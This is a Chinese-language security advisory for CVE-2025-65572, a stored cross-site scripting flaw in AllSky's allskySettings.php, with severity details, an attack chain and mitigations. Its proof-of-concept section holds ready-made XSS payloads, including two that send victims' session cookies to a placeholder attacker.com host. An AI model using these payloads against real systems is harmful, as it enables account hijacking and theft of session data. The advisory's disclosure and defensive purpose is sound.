IPBUF安全漏洞报告
English
CVE-2025-65572 CVSS 6.1 中危

CVE-2025-65572 AllSky v2024.12.06_06 XSS跨站脚本漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-65572
漏洞类型
XSS(跨站脚本攻击)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
AllskyTeam AllSky v2024.12.06_06

相关标签

XSS跨站脚本攻击存储型XSSAllskyTeamAllSkyCVE-2025-65572Web应用安全

漏洞概述

CVE-2025-65572是AllskyTeam AllSky软件中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于allskySettings.php页面,攻击者可以通过config、filename或extratext参数注入恶意JavaScript脚本。由于漏洞位于服务器端存储,当其他用户访问allskySettings.php页面或页面重新加载时,注入的恶意代码会被status_messages.php中的showMessages()函数输出并执行,从而窃取用户会话cookie、劫持用户账户或进行其他恶意操作。该漏洞无需认证即可利用,但需要用户交互才能触发,对机密性造成低影响,对完整性造成低影响。CVSS评分6.1,属于中等严重程度。

技术细节

该漏洞为存储型XSS,攻击者利用AllSky系统的allskySettings.php页面中的输入验证不足,通过config、filename或extratext参数注入恶意脚本代码。恶意输入被存储在服务器端,当受害用户访问allskySettings.php页面时,系统调用status_messages.php中的showMessages()函数显示消息,该函数直接将未经过滤的用户输入输出到HTML页面中,导致注入的JavaScript代码在受害者浏览器中执行。攻击者可利用此漏洞窃取会话令牌、修改页面内容、进行钓鱼攻击或进一步横向移动。由于该漏洞位于管理界面,攻击成功可能获取更高权限。修复需要对这些参数进行严格的输入验证和输出编码。

攻击链分析

STEP 1
步骤1
攻击者构造恶意XSS payload,通过config、filename或extratext参数向allskySettings.php页面提交
STEP 2
步骤2
服务器未对用户输入进行充分验证和过滤,将恶意脚本存储在服务器端
STEP 3
步骤3
受害者访问allskySettings.php页面或页面重新加载
STEP 4
步骤4
status_messages.php中的showMessages()函数输出存储的消息,将未转义的恶意代码返回给受害者浏览器
STEP 5
步骤5
受害者浏览器执行注入的JavaScript代码,攻击者成功窃取会话cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-65572 PoC - Stored XSS in AllSky allskySettings.php --> <!-- Inject via config parameter --> https://[target]/allskySettings.php?config=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E <!-- Inject via filename parameter --> https://[target]/allskySettings.php?filename=%3Cimg%20src=x%20onerror=alert(%22XSS%22)%3E <!-- Inject via extratext parameter --> https://[target]/allskySettings.php?extratext=%3Cscript%3Edocument.location=%27https://attacker.com/steal?c=%27+document.cookie%3C/script%3E <!-- Example HTML form for exploitation --> <form action="https://[target]/allskySettings.php" method="GET"> <input type="hidden" name="config" value='"><script>fetch("https://attacker.com/log?cookie="+document.cookie)</script>'> <input type="submit" value="Exploit"> </form>

影响范围

AllskyTeam AllSky v2024.12.06_06

防御指南

临时缓解措施
在官方修复发布前,可通过以下措施临时缓解:1) 在Web应用防火墙(WAF)规则中添加针对XSS特征的检测和拦截;2) 限制allskySettings.php页面的访问权限;3) 对所有用户输入实施严格的输入验证和白名单机制;4) 在输出点对特殊字符进行HTML实体编码转义;5) 启用HttpOnly和Secure标志保护Cookie。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表